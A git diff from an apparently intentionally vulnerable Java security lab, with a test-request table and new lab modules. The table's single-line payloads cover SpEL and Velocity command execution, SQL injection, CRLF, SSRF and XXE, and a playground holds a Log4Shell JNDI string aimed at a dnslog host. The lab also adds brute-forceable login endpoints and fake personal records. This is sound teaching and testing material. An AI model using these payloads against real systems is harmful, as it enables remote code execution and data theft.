'http://{}:9990/file_delete?fileName=test.txt'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': '任意文件删除漏洞', - 'type': 'repair', - }, - 'runtime_command_execute_normal': { - 'method': 'GET', - 'url': 'http://{}:9990/runtime_command_execute?command=ls'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': '命令执行漏洞-Runtime', - 'type': 'normal', - }, - 'runtime_command_execute_repair': { - 'method': 'GET', - 'url': 'http://{}:9990/runtime_command_execute?command=whoami'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': '命令执行漏洞-Runtime', - 'type': 'repair', - }, - - 'process_builder_command_normal': { - 'method': 'GET', - 'url': 'http://{}:9990/process_builder_command_execute?command=ls'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': '命令执行漏洞-ProcessBuilder', - 'type': 'normal', - }, - - 'process_builder_command_repair': { - 'method': 'GET', - 'url': 'http://{}:9990/process_builder_command_execute?command=whoami'.format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': '命令执行漏洞-ProcessBuilder', - 'type': 'repair', - }, - - 'crlf_injection_repair': { - 'method': 'GET', - 'url': 'http://{}:9990/crlf_injection?name=%0D%0ASet-Cookie: sessionid=123456'.format(host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'CRLF注入', - 'type': 'repair', - }, - - 'spel_expression_repair': { - 'method': 'GET', - 'url': "http://{}:9990/spel_expression?input=T(java.lang.Runtime).getRuntime().exec('whoami')".format(host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'SPEL表达式攻击', - 'type': 'repair', - }, - - 'spel_expression_normal': { - 'method': 'GET', - 'url': "http://{}:9990/spel_expression?input=1".format(host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'SPEL表达式攻击', - 'type': 'normal', - }, - - 'ssrf_openStream_repair': { - 'method': 'GET', - 'url': "http://{}:9990/ssrf_openStream?url=https://www.baidu.com".format(host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'SSRF攻击-openStream', - 'type': 'repair', - }, - - 'ssrf_openConnection_repair': { - 'method': 'GET', - 'url': "http://{}:9990/ssrf_openConnection?url=http://www.baidu.com".format(host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'SSRF攻击-openConnection', - 'type': 'repair', - }, - - 'ssrf_requestGet_repair': { - 'method': 'GET', - 'url': "http://{}:9990/ssrf_requestGet?url=http://www.baidu.com".format(host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'SSRF攻击-requestGet', - 'type': 'repair', - }, - - 'ssrf_okhttp_repair': { - 'method': 'GET', - 'url': "http://{}:9990/ssrf_okhttp?url=http://www.baidu.com".format(host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'SSRF攻击-okhttp', - 'type': 'repair', - }, - - 'ssrf_defaultHttpClient_repair': { - 'method': 'GET', - 'url': "http://{}:9990/ssrf_defaultHttpClient?url=http://www.baidu.com".format(host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'SSRF攻击-defaultHttpClient', - 'type': 'repair', - }, - - 'ssrf_openStream_normal': { - 'method': 'GET', - 'url': "http://{}:9990/ssrf_openStream?url=http://example.com".format(host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'SSRF攻击-openStream', - 'type': 'normal', - }, - - 'ssrf_openConnection_normal': { - 'method': 'GET', - 'url': "http://{}:9990/ssrf_openConnection?url=http://example.com".format(host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'SSRF攻击-openConnection', - 'type': 'normal', - }, - - 'ssrf_requestGet_normal': { - 'method': 'GET', - 'url': "http://{}:9990/ssrf_requestGet?url=http://example.com".format(host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'SSRF攻击-requestGet', - 'type': 'normal', - }, - - 'ssrf_okhttp_normal': { - 'method': 'GET', - 'url': "http://{}:9990/ssrf_okhttp?url=http://example.com".format(host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'SSRF攻击-okhttp', - 'type': 'normal', - }, - - 'ssrf_defaultHttpClient_normal': { - 'method': 'GET', - 'url': "http://{}:9990/ssrf_defaultHttpClient?url=http://example.com".format(host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'SSRF攻击-defaultHttpClient', - 'type': 'normal', - }, - - - 'ssti_velocity_repair': { - 'method': 'GET', - 'url': """http://{}:9990/ssti_velocity?content=%23set (%24exp %3d "exp")%3b%24exp.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami")""".format( - host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'SSTI攻击-velocity', - 'type': 'repair', - }, - - 'xxe_saxparserfactory_repair': { - 'method': 'POST', - 'url': """http://{}:9990/xxe_saxparserfactory""".format( - host), - 'data': """]>&xxe;""", - 'headers': {'Content-Type': 'application/json'}, - 'name': 'XXE-saxparserfactory', - 'type': 'repair', - }, - - 'xxe_xmlreaderfactory_repair': { - 'method': 'POST', - 'url': """http://{}:9990/xxe_xmlreaderfactory""".format( - host), - 'data': """]>&xxe;""", - 'headers': {'Content-Type': 'application/json'}, - 'name': 'XXE-xmlreaderfactory', - 'type': 'repair', - }, - 'xxe_saxbuilder_repair': { - 'method': 'POST', - 'url': """http://{}:9990/xxe_saxbuilder""".format( - host), - 'data': """]>&xxe;""", - 'headers': {'Content-Type': 'application/json'}, - 'name': 'XXE-saxbuilder', - 'type': 'repair', - }, - 'xxe_saxreader_repair': { - 'method': 'POST', - 'url': """http://{}:9990/xxe_saxreader""".format( - host), - 'data': """]>&xxe;""", - 'headers': {'Content-Type': 'application/json'}, - 'name': 'XXE-saxreader', - 'type': 'repair', - }, - - 'xxe_documentbuilderfactory_repair': { - 'method': 'POST', - 'url': """http://{}:9990/xxe_documentbuilderfactory""".format( - host), - 'data': """]>&xxe;""", - 'headers': {'Content-Type': 'application/json'}, - 'name': 'XXE-documentbuilderfactory', - 'type': 'repair', - }, - 'xxe_documentbuilderfactory_xinclude_repair': { - 'method': 'POST', - 'url': """http://{}:9990/xxe_documentbuilderfactory_xinclude""".format( - host), - 'data': """]>&xxe;""", - 'headers': {'Content-Type': 'application/json'}, - 'name': 'XXE-documentbuilderfactory_xinclude', - 'type': 'repair', - }, - - - 'OpenRedirector_ModelAndView_normal': { - 'method': 'GET', - 'url': """http://{}:9990/OpenRedirector_ModelAndView?url=https://example.com""".format( - host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'URL重定向漏洞-ModelAndView', - 'type': 'normal', - }, - - 'OpenRedirector_sendRedirect_normal': { - 'method': 'GET', - 'url': """http://{}:9990/OpenRedirector_sendRedirect?url=https://example.com""".format( - host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'URL重定向漏洞-sendRedirect', - 'type': 'normal', - }, - - 'OpenRedirector_lacation_normal': { - 'method': 'GET', - 'url': """http://{}:9990/OpenRedirector_lacation?url=https://example.com""".format( - host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'URL重定向漏洞-location', - 'type': 'normal', - }, - 'OpenRedirector_ModelAndView_repair': { - 'method': 'GET', - 'url': """http://{}:9990/OpenRedirector_ModelAndView?url=https://www.baidu.com""".format( - host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'URL重定向漏洞-ModelAndView', - 'type': 'repair', - }, - - 'OpenRedirector_sendRedirect_repair': { - 'method': 'GET', - 'url': """http://{}:9990/OpenRedirector_sendRedirect?url=https://www.baidu.com""".format( - host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'URL重定向漏洞-sendRedirect', - 'type': 'repair', - }, - - 'OpenRedirector_lacation_repair': { - 'method': 'GET', - 'url': """http://{}:9990/OpenRedirector_lacation?url=https://www.baidu.com""".format( - host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'URL重定向漏洞-location', - 'type': 'repair', - }, - - 'swagger-ui_repair': { - 'method': 'GET', - 'url': """http://{}:9990/swagger-ui.html""".format( - host), - 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, - 'name': 'swagger-ui-未授权访问漏洞', - 'type': 'repair', - }, - - 'sql_injection_Optional_repair': { - 'method': 'GET', - 'url': "http://{}:9990/users/findByOptionalUsername?username=test'".format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'SQL注入-Optional', - 'type': 'repair', - }, - - 'sql_injection_Object_repair': { - 'method': 'POST', - 'url': "http://{}:9990/users/get_name_object".format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data':'{"name":"test\'"}', - 'name': 'SQL注入-Object[]', - 'type': 'repair', - }, - - 'sql_injection_Annotation_repair': { - 'method': 'GET', - 'url': "http://{}:9990/users/by-username?name=test".format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'SQL注入-MyBatis注解方式', - 'type': 'repair', - }, - - 'sql_injection_lombok_repair': { - 'method': 'POST', - 'url': "http://{}:9990/users/lombok".format(host), - 'headers': {'Content-Type': 'application/json'}, - 'data':'{"name":"test\'"}', - 'name': 'SQL注入-lombok', - 'type': 'repair', - }, - - 'sql_injection_hsqldb_repair': { - 'method': 'GET', - 'url': "http://{}:9989/hsqldb_repair?username=1'".format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'SQL注入-hsqldb', - 'type': 'repair', - }, - - 'sql_injection_Hibernate_repair': { - 'method': 'GET', - 'url': "http://{}:9988/Hibernate_injection_repair?username=foobar' OR (SELECT COUNT(*) FROM User)>=0 OR 'foobar'='".format(host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'SQL注入-Hibernate', - 'type': 'repair', - }, - - 'cas_xxe_normal': { - 'method': 'POST', - 'url': "http://{}:9971/xxe_cas".format( - host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'cas xxe', - 'data': ' John&ent;', - 'type': 'normal', - }, - - 'cas_xxe_attack': { - 'method': 'POST', - 'url': "http://{}:9971/xxe_cas".format( - host), - 'headers': {'Content-Type': 'application/json'}, - 'name': 'cas xxe', - 'data': ' ]> John&ent;', - 'type': 'attack', - }, - - -} diff --git a/init-db/sec.sql b/init-db/sec.sql deleted file mode 100644 index a477740..0000000 --- a/init-db/sec.sql +++ /dev/null @@ -1,74 +0,0 @@ -/* - Navicat Premium Data Transfer - - Source Server : sectest - Source Server Type : MySQL - Source Server Version : 50736 - Source Host : 10.10.220.50:33306 - Source Schema : sec - - Target Server Type : MySQL - Target Server Version : 50736 - File Encoding : 65001 - - Date: 29/01/2024 14:11:21 -*/ - -SET NAMES utf8mb4; -SET FOREIGN_KEY_CHECKS = 0; - --- ---------------------------- --- Table structure for user3 --- ---------------------------- -DROP TABLE IF EXISTS `user3`; -CREATE TABLE `user3` ( - `id` int(11) NOT NULL, - `name` varchar(255) CHARACTER SET latin1 COLLATE latin1_swedish_ci NULL DEFAULT NULL, - PRIMARY KEY (`id`) USING BTREE -) ENGINE = InnoDB CHARACTER SET = latin1 COLLATE = latin1_swedish_ci ROW_FORMAT = DYNAMIC; - --- ---------------------------- --- Records of user3 --- ---------------------------- -INSERT INTO `user3` VALUES (1, 'test'); -INSERT INTO `user3` VALUES (2, 'admin'); -INSERT INTO `user3` VALUES (3, '123'); -INSERT INTO `user3` VALUES (4, ''); - --- ---------------------------- --- Table structure for user4 --- ---------------------------- -DROP TABLE IF EXISTS `user4`; -CREATE TABLE `user4` ( - `id` int(11) NOT NULL, - `name` varchar(255) CHARACTER SET latin1 COLLATE latin1_swedish_ci NULL DEFAULT NULL, - PRIMARY KEY (`id`) USING BTREE -) ENGINE = InnoDB CHARACTER SET = latin1 COLLATE = latin1_swedish_ci ROW_FORMAT = DYNAMIC; - --- ---------------------------- --- Records of user4 --- ---------------------------- -INSERT INTO `user4` VALUES (1, 'test'); -INSERT INTO `user4` VALUES (2, 'admin'); -INSERT INTO `user4` VALUES (3, '123'); -INSERT INTO `user4` VALUES (4, ''); - --- ---------------------------- --- Table structure for users --- ---------------------------- -DROP TABLE IF EXISTS `users`; -CREATE TABLE `users` ( - `id` int(11) NOT NULL, - `name` varchar(255) CHARACTER SET latin1 COLLATE latin1_swedish_ci NULL DEFAULT NULL, - PRIMARY KEY (`id`) USING BTREE -) ENGINE = InnoDB CHARACTER SET = latin1 COLLATE = latin1_swedish_ci ROW_FORMAT = DYNAMIC; - --- ---------------------------- --- Records of users --- ---------------------------- -INSERT INTO `users` VALUES (1, 'test'); -INSERT INTO `users` VALUES (2, 'admin'); -INSERT INTO `users` VALUES (3, '123'); -INSERT INTO `users` VALUES (4, ''); - -SET FOREIGN_KEY_CHECKS = 1; diff --git a/log4jvul/Dockerfile b/log4jvul/Dockerfile index 7c25183..09bd5eb 100644 --- a/log4jvul/Dockerfile +++ b/log4jvul/Dockerfile @@ -9,6 +9,7 @@ FROM wushangleon/java:jdk8u112 COPY --from=builder /opt/log4j/target/log4jvul-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/log4jvul/Dockerfile_local b/log4jvul/Dockerfile_local index d1979dd..f976b57 100644 --- a/log4jvul/Dockerfile_local +++ b/log4jvul/Dockerfile_local @@ -3,6 +3,7 @@ FROM wushangleon/java:jdk8u112 COPY target/log4jvul-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/log4jvul/docker-compose.yaml b/log4jvul/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/log4jvul/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/log4jvul/log4jvul.iml b/log4jvul/log4jvul.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/log4jvul/log4jvul.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/log4jvul/src/main/java/com/myapp/PlaygroundController.java b/log4jvul/src/main/java/com/myapp/PlaygroundController.java new file mode 100644 index 0000000..df4b349 --- /dev/null +++ b/log4jvul/src/main/java/com/myapp/PlaygroundController.java @@ -0,0 +1,28 @@ +package com.myapp; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class PlaygroundController { + + @GetMapping(value = {"/", "/playground"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + String attack = "name=${jndi:ldap://sectest-log4j2.dnslog.cn/a}"; + String normal = "name=1"; + return "log4jvul Playground" + style() + + "

log4jvul Playground

表单会发送到 /log4j2。可先填充攻击/正常表单,再手动修改后发送。

" + + "
等待发送请求...
" + + ""; + } + + private String style() { + return ""; + } + + private String esc(String value) { + return value.replace("\\", "\\\\").replace("'", "\\'").replace("\r", "").replace("\n", "\\n"); + } +} diff --git a/logic_vul.db b/logic_vul.db new file mode 100644 index 0000000..0afee7e Binary files /dev/null and b/logic_vul.db differ diff --git a/logic_vul/Dockerfile b/logic_vul/Dockerfile new file mode 100644 index 0000000..b4097dc --- /dev/null +++ b/logic_vul/Dockerfile @@ -0,0 +1,10 @@ +FROM wushangleon/java:jdk8u112_maven as builder + +COPY . /opt/logic_vul +WORKDIR /opt/logic_vul +RUN mvn package -DskipTests + +FROM wushangleon/java:jdk8u112 +COPY --from=builder /opt/logic_vul/target/logic_vul-1.0-SNAPSHOT.jar /opt/app.jar +EXPOSE 8080 +CMD ["java", "-jar", "/opt/app.jar"] diff --git a/logic_vul/Dockerfile_local b/logic_vul/Dockerfile_local new file mode 100644 index 0000000..d16aa96 --- /dev/null +++ b/logic_vul/Dockerfile_local @@ -0,0 +1,4 @@ +FROM wushangleon/java:jdk8u112 +COPY target/logic_vul-1.0-SNAPSHOT.jar /opt/app.jar +EXPOSE 8080 +CMD ["java", "-jar", "/opt/app.jar"] diff --git a/logic_vul/docker-compose.yaml b/logic_vul/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/logic_vul/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/microservice-c-service/pom.xml b/logic_vul/pom.xml similarity index 52% rename from microservice-c-service/pom.xml rename to logic_vul/pom.xml index b6c6f99..5412c7c 100644 --- a/microservice-c-service/pom.xml +++ b/logic_vul/pom.xml @@ -5,56 +5,77 @@ 4.0.0 org.example - microservice-c-service + logic_vul 1.0-SNAPSHOT 8 8 + org.springframework.boot spring-boot-starter-parent - 2.5.9 + 2.5.6 - org.springframework.cloud - spring-cloud-starter-netflix-eureka-client + org.springframework.boot + spring-boot-starter-web org.springframework.boot - spring-boot-starter-web - RELEASE - compile + spring-boot-starter-jdbc + + + org.springframework + spring-web - - org.springframework.boot - spring-boot-starter-data-jpa + spring-boot-starter-thymeleaf - - org.hsqldb - hsqldb - runtime + org.springframework + spring-context + 5.3.22 + + + org.springframework + spring-web + 5.3.22 - + + com.fasterxml.jackson.core + jackson-databind + 2.13.5 + + + com.fasterxml.jackson.core + jackson-core + 2.13.5 + + + com.fasterxml.jackson.core + jackson-annotations + 2.13.5 + + + org.xerial + sqlite-jdbc + 3.45.3.0 + - - - - org.springframework.cloud - spring-cloud-dependencies - 2020.0.4 - pom - import - - - + + + com.github.javafaker + javafaker + 1.0.2 + + + @@ -83,4 +104,5 @@ - \ No newline at end of file + + diff --git a/logic_vul/result/ecommerceData.json b/logic_vul/result/ecommerceData.json new file mode 100644 index 0000000..e9b41c3 --- /dev/null +++ b/logic_vul/result/ecommerceData.json @@ -0,0 +1,111 @@ +[ { + "orderNumber" : "0526348562", + "phoneNumber" : "18195467004", + "address" : "Suite 804 苏中心7号, 合肥, 蒙 982001", + "name" : "陆锦程", + "id" : 11, + "productInfo" : { + "quantity" : 5, + "price" : 21.66, + "productName" : "Sleek Copper Lamp" + } +}, { + "orderNumber" : "0198213310", + "phoneNumber" : "17233829656", + "address" : "Apt. 446 孙侬67161号, 金昌, 津 380489", + "name" : "卢烨华", + "id" : 12, + "productInfo" : { + "quantity" : 5, + "price" : 25.06, + "productName" : "Lightweight Silk Pants" + } +}, { + "orderNumber" : "0515374436", + "phoneNumber" : "14525717749", + "address" : "Suite 940 姜旁452号, 长治, 闽 450218", + "name" : "莫明辉", + "id" : 13, + "productInfo" : { + "quantity" : 4, + "price" : 83.6, + "productName" : "Practical Copper Bag" + } +}, { + "orderNumber" : "0834333600", + "phoneNumber" : "18640588241", + "address" : "Suite 993 沈巷850号, 清远, 宁 763614", + "name" : "周立轩", + "id" : 14, + "productInfo" : { + "quantity" : 4, + "price" : 88.1, + "productName" : "Aerodynamic Paper Chair" + } +}, { + "orderNumber" : "0206098999", + "phoneNumber" : "17638432296", + "address" : "Suite 577 廖侬33579号, 台州, 冀 156800", + "name" : "李昊强", + "id" : 15, + "productInfo" : { + "quantity" : 5, + "price" : 12.99, + "productName" : "Synergistic Granite Shirt" + } +}, { + "orderNumber" : "0505298986", + "phoneNumber" : "17557635202", + "address" : "Apt. 866 何中心765号, 富阳, 藏 611328", + "name" : "魏弘文", + "id" : 16, + "productInfo" : { + "quantity" : 1, + "price" : 59.85, + "productName" : "Incredible Silk Bench" + } +}, { + "orderNumber" : "0346093136", + "phoneNumber" : "17280079973", + "address" : "高巷34396号, 张家港, 港 904961", + "name" : "秦绍辉", + "id" : 17, + "productInfo" : { + "quantity" : 1, + "price" : 65.84, + "productName" : "Practical Aluminum Bench" + } +}, { + "orderNumber" : "0629330036", + "phoneNumber" : "17681811390", + "address" : "郝路7821号, 宿迁, 沪 842498", + "name" : "谢伟诚", + "id" : 18, + "productInfo" : { + "quantity" : 5, + "price" : 89.59, + "productName" : "Aerodynamic Bronze Bottle" + } +}, { + "orderNumber" : "0771645824", + "phoneNumber" : "17350334695", + "address" : "谢中心9257号, 瓦房店, 冀 150432", + "name" : "万绍齐", + "id" : 19, + "productInfo" : { + "quantity" : 1, + "price" : 52.51, + "productName" : "Incredible Concrete Hat" + } +}, { + "orderNumber" : "0411305398", + "phoneNumber" : "17257922936", + "address" : "Apt. 867 何旁258号, 温州, 陕 379432", + "name" : "傅晓博", + "id" : 20, + "productInfo" : { + "quantity" : 1, + "price" : 88.16, + "productName" : "Intelligent Linen Coat" + } +} ] \ No newline at end of file diff --git a/logic_vul/result/personalData.json b/logic_vul/result/personalData.json new file mode 100644 index 0000000..c4c4463 --- /dev/null +++ b/logic_vul/result/personalData.json @@ -0,0 +1,91 @@ +[ { + "phoneNumber" : "13027043730", + "address" : "姚巷08号, 潍坊, 冀 687142", + "gender" : "女", + "name" : "石昊焱", + "id" : 1, + "landlineNumber" : "674-60533329", + "idNumber" : "482867199511218036", + "email" : "煜祺.魏@yahoo.com" +}, { + "phoneNumber" : "17867608701", + "address" : "Apt. 902 张街43716号, 长春, 晋 627653", + "gender" : "女", + "name" : "杜志泽", + "id" : 2, + "landlineNumber" : "75169413581", + "idNumber" : "742462200007129678", + "email" : "浩轩.萧@gmail.com" +}, { + "phoneNumber" : "15526762454", + "address" : "Apt. 846 吴路607号, 河源, 冀 864198", + "gender" : "女", + "name" : "罗建辉", + "id" : 3, + "landlineNumber" : "33966794080", + "idNumber" : "346626200606101210", + "email" : "梓晨.王@hotmail.com" +}, { + "phoneNumber" : "15919708587", + "address" : "Apt. 550 孔巷92号, 泸州, 澳 548953", + "gender" : "男", + "name" : "赖伟祺", + "id" : 4, + "landlineNumber" : "2854-21428818", + "idNumber" : "455866198905095417", + "email" : "昊天.姚@yahoo.com" +}, { + "phoneNumber" : "17073796798", + "address" : "陆旁3号, 福州, 鲁 644967", + "gender" : "女", + "name" : "马梓晨", + "id" : 5, + "landlineNumber" : "145-86808404", + "idNumber" : "421535200403079942", + "email" : "弘文.熊@gmail.com" +}, { + "phoneNumber" : "17620392727", + "address" : "Suite 114 刘侬1号, 鄂尔多斯, 湘 498266", + "gender" : "男", + "name" : "郭炫明", + "id" : 6, + "landlineNumber" : "90743068167", + "idNumber" : "879759198205243487", + "email" : "金鑫.萧@gmail.com" +}, { + "phoneNumber" : "17194623685", + "address" : "莫栋891号, 铜川, 鄂 242911", + "gender" : "女", + "name" : "韩睿渊", + "id" : 7, + "landlineNumber" : "029-09216962", + "idNumber" : "629225200508053676", + "email" : "煜城.朱@yahoo.com" +}, { + "phoneNumber" : "17219831160", + "address" : "李侬216号, 马鞍山, 鄂 709064", + "gender" : "男", + "name" : "魏雪松", + "id" : 8, + "landlineNumber" : "349-64635965", + "idNumber" : "099222200711053396", + "email" : "苑博.冯@hotmail.com" +}, { + "phoneNumber" : "15947279008", + "address" : "冯街338号, 贵阳, 滇 230040", + "gender" : "女", + "name" : "严哲瀚", + "id" : 9, + "landlineNumber" : "29143123645", + "idNumber" : "112085201504020657", + "email" : "鹏涛.卢@hotmail.com" +}, { + "phoneNumber" : "17806522073", + "address" : "蒋桥04号, 阳江, 湘 254625", + "gender" : "女", + "name" : "唐弘文", + "id" : 10, + "landlineNumber" : "5195-39681175", + "idNumber" : "766096198709029162", + "email" : "志泽.田@hotmail.com" +} ] \ No newline at end of file diff --git a/logic_vul/result/userLoginData.json b/logic_vul/result/userLoginData.json new file mode 100644 index 0000000..5012727 --- /dev/null +++ b/logic_vul/result/userLoginData.json @@ -0,0 +1,81 @@ +[ { + "password" : "dbd9dv0k19z0mqy", + "phoneNumber" : "17365375549", + "name" : "胡绍齐", + "id" : 21, + "userRole" : "用户", + "email" : "泽洋.龚@hotmail.com", + "username" : "jefferey.krajcik" +}, { + "password" : "703k1nbkd83j3", + "phoneNumber" : "14732098528", + "name" : "尹金鑫", + "id" : 22, + "userRole" : "访客", + "email" : "子默.阎@hotmail.com", + "username" : "terresa.beier" +}, { + "password" : "oikihbi4xb", + "phoneNumber" : "13078470040", + "name" : "金天翊", + "id" : 23, + "userRole" : "用户", + "email" : "果.洪@gmail.com", + "username" : "man.hackett" +}, { + "password" : "27ia5fep3qe", + "phoneNumber" : "14744881962", + "name" : "谢鹏", + "id" : 24, + "userRole" : "用户", + "email" : "天磊.廖@hotmail.com", + "username" : "claire.gleichner" +}, { + "password" : "xlsu97cs91qd95y", + "phoneNumber" : "14509983177", + "name" : "罗睿渊", + "id" : 25, + "userRole" : "访客", + "email" : "擎苍.汪@yahoo.com", + "username" : "terrence.lemke" +}, { + "password" : "61mv0g1r9q40n", + "phoneNumber" : "14559468433", + "name" : "梁驰", + "id" : 26, + "userRole" : "访客", + "email" : "文.汪@yahoo.com", + "username" : "ivory.herman" +}, { + "password" : "3jwl2i3t6", + "phoneNumber" : "15134299958", + "name" : "韩雨泽", + "id" : 27, + "userRole" : "用户", + "email" : "博涛.杨@yahoo.com", + "username" : "frances.goldner" +}, { + "password" : "lzvn5h5urk", + "phoneNumber" : "14790563236", + "name" : "黄烨华", + "id" : 28, + "userRole" : "访客", + "email" : "泽洋.洪@hotmail.com", + "username" : "crista.johns" +}, { + "password" : "wyu3bxp4pc865s", + "phoneNumber" : "15933988032", + "name" : "贾修洁", + "id" : 29, + "userRole" : "管理员", + "email" : "哲瀚.孟@hotmail.com", + "username" : "yon.tremblay" +}, { + "password" : "rg0ye0k1obzx", + "phoneNumber" : "15940239666", + "name" : "黎健柏", + "id" : 30, + "userRole" : "管理员", + "email" : "智辉.武@gmail.com", + "username" : "alvaro.leffler" +} ] \ No newline at end of file diff --git a/logic_vul/src/main/java/com/myapp/MyApplication.java b/logic_vul/src/main/java/com/myapp/MyApplication.java new file mode 100644 index 0000000..ea971cb --- /dev/null +++ b/logic_vul/src/main/java/com/myapp/MyApplication.java @@ -0,0 +1,11 @@ +package com.myapp; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; + +@SpringBootApplication +public class MyApplication { + public static void main(String[] args) { + SpringApplication.run(MyApplication.class, args); + } +} diff --git a/logic_vul/src/main/java/com/myapp/controller/BruteForceLabController.java b/logic_vul/src/main/java/com/myapp/controller/BruteForceLabController.java new file mode 100644 index 0000000..dd9b1bd --- /dev/null +++ b/logic_vul/src/main/java/com/myapp/controller/BruteForceLabController.java @@ -0,0 +1,67 @@ +package com.myapp.controller; + +import com.myapp.service.BruteForceLabService; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; + +import java.util.Map; + +@Controller +public class BruteForceLabController { + private final BruteForceLabService bruteForceLabService; + + public BruteForceLabController(BruteForceLabService bruteForceLabService) { + this.bruteForceLabService = bruteForceLabService; + } + + @GetMapping("/auth/bruteforce-vul") + public String vulnerableLoginPage() { + return "bruteforce-vul"; + } + + @GetMapping("/auth/bruteforce-safe") + public String safeLoginPage() { + return "bruteforce-safe"; + } + + @GetMapping("/auth/bruteforce-vul/hints") + @ResponseBody + public Map vulnerableHints() { + return bruteForceLabService.vulnerableHints(); + } + + @PostMapping("/auth/bruteforce-vul/login") + @ResponseBody + public Map vulnerableLogin(@RequestParam("username") String username, + @RequestParam("password") String password) { + return bruteForceLabService.vulnerableLogin(username, password); + } + + @GetMapping("/auth/bruteforce-safe/captcha/new") + @ResponseBody + public Map newCaptcha() { + return bruteForceLabService.createCaptcha(); + } + + @GetMapping(value = "/auth/bruteforce-safe/captcha/image", produces = "image/svg+xml;charset=UTF-8") + @ResponseBody + public ResponseEntity captchaImage(@RequestParam("token") String token) { + return ResponseEntity.ok() + .contentType(MediaType.valueOf("image/svg+xml;charset=UTF-8")) + .body(bruteForceLabService.captchaSvg(token)); + } + + @PostMapping("/auth/bruteforce-safe/login") + @ResponseBody + public Map safeLogin(@RequestParam("username") String username, + @RequestParam("password") String password, + @RequestParam("captchaToken") String captchaToken, + @RequestParam("captchaCode") String captchaCode) { + return bruteForceLabService.safeLogin(username, password, captchaToken, captchaCode); + } +} diff --git a/logic_vul/src/main/java/com/myapp/controller/ECommerceController.java b/logic_vul/src/main/java/com/myapp/controller/ECommerceController.java new file mode 100644 index 0000000..e5c1fb7 --- /dev/null +++ b/logic_vul/src/main/java/com/myapp/controller/ECommerceController.java @@ -0,0 +1,52 @@ +package com.myapp.controller; + +import com.github.javafaker.Faker; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.util.*; + +@RestController +public class ECommerceController { + + private final Faker faker = new Faker(new Locale("zh-CN")); + private final Random random = new Random(); + + // 辅助方法:生成随机订单号 + private String generateOrderNumber() { + return String.format("%010d", random.nextInt(1000000000)); + } + + // 辅助方法:生成随机商品信息 + private Map generateProductInfo() { + Map productInfo = new HashMap<>(); + productInfo.put("productName", faker.commerce().productName()); + productInfo.put("quantity", 1 + random.nextInt(5)); // 随机生成1到5之间的商品数量 + productInfo.put("price", Double.parseDouble(faker.commerce().price())); // 生成随机价格 + return productInfo; + } + + // 接口 1: 生成单个订单的敏感信息 + @GetMapping("/api/ecommerce-order") + public Map generateEcommerceOrder() { + Map orderInfo = new HashMap<>(); + orderInfo.put("orderNumber", generateOrderNumber()); // 生成订单号 + orderInfo.put("name", faker.name().fullName()); // 生成姓名 + orderInfo.put("phoneNumber", faker.phoneNumber().cellPhone()); // 生成手机号 + orderInfo.put("address", faker.address().fullAddress()); // 生成地址 + orderInfo.put("productInfo", generateProductInfo()); // 生成商品信息 + + return orderInfo; + } + + // 